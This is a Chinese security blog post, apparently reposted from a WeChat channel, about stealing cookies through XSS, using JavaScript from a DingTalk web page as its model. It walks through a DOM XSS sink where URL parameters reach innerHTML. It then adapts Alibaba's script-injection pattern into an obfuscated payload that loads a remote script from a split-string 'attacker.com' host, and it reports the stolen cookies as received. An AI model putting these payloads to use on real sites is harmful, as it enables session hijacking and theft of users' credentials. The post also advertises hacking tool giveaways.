通过钉钉网页上的js学习xss打cookie

admin 2022年10月31日15:22:27评论48 views字数 2321阅读7分44秒阅读模式

做完了一个项目,然后没啥事做,无意看到了一个钉钉的外部链接:

查看源码,复制其中的代码:

try {        var search = location.search;        if (search && search.length > 1 && search.charAt(0) === '?') {            search = search.substr(1);            var pairs = search.split('&');            var kv = {};            for (var i in pairs) {                var parts = pairs[i].split('=');                if (parts && parts.length > 1) {                    kv[parts[0]] = parts[1];                }            }        }        var errcode = kv['errcode'];        var errmsg = kv['errmsg'];        if (errcode) {            var divCode = document.getElementById('code');            if (divCode) {                divCode.innerHTML += ('errcode: ' + errcode);            }        }        if (errmsg) {            var divMsg = document.getElementById('msg');            if (divMsg) {                divMsg.innerHTML += ('errmsg: ' + errmsg);            }        }    }    catch (e) {console.log(e);}

关键部分是:

    通过钉钉网页上的js学习xss打cookie

 

写入errcode和errmsg到divCode和divMsg中。

其中errcode和errmsg都是我们可控的。

打开console简单测试下:

不懂没关系直接做:

      通过钉钉网页上的js学习xss打cookie

 

   

通过钉钉网页上的js学习xss打cookie


说明我们外部可控,导致这个原因是因为遍历的是location.search

本地搓个demo:    通过钉钉网页上的js学习xss打cookie

 

只要errcode和errmsg为xss代码,即可触发xss攻击。很可惜这里。最后做了处理。

正题:加载第三方js代码:

刷新钉钉页面:

    通过钉钉网页上的js学习xss打cookie

发现加载了一些js链接依赖:

查看源码,看看他怎么调用的:

<body><script>with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACQE5FgnOSuMgAAAABIYPwz9qqvRg==",id="tb-beacon-aplus",src="//g.alicdn.com/alilog/mlog/aplus_"+(navigator.userAgent.match(/iPhone|iPad|iPod|Android|AliApp|Yunos|cyclone/i)?"wap":"v2")+".js")</script><script>    with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAABZTjBWUtd7PwAAAADFkiVZ/vYnWw==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js")</script><script>    with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACwfC9W2oJjYAAAAABOnkqCwpd6EA==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js")</script>


相当有意思,不同于以前的,以前我们xss打cookie/外部加载js都是是这样的:

<script src="http://attacker.com/xss.js"></script>

通过阿里加载js的方式,我们可以改造我们的加载方式如下:   

<script type="text/javascript">    with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute(src=("http://attac")+"ker.com/xs"+"s.js")</script>

 

我们访问网页:

通过钉钉网页上的js学习xss打cookie


直接加载了,查看我们是否接收到:

    通过钉钉网页上的js学习xss打cookie

 

 

成功接收成功。

这个cookie窃取已经不是啥骚姿势了,只是这次通过阿里正常加载js地址,学习包装型的cookie获取。

作者:飘渺红尘原文地址:https://www.cnblogs.com/piaomiaohongchen/p/14729939.html

声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权否则需自行承担,本公众号及原作者不承担相应的后果.

学习更多渗透技能!供靶场练习技能

通过钉钉网页上的js学习xss打cookie

扫码领白帽黑客视频资料及工具

通过钉钉网页上的js学习xss打cookie

原文始发于微信公众号(渗透师老A):通过钉钉网页上的js学习xss打cookie

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月31日15:22:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过钉钉网页上的js学习xss打cookiehttp://cn-sec.com/archives/1382599.html

发表评论

匿名网友 填写信息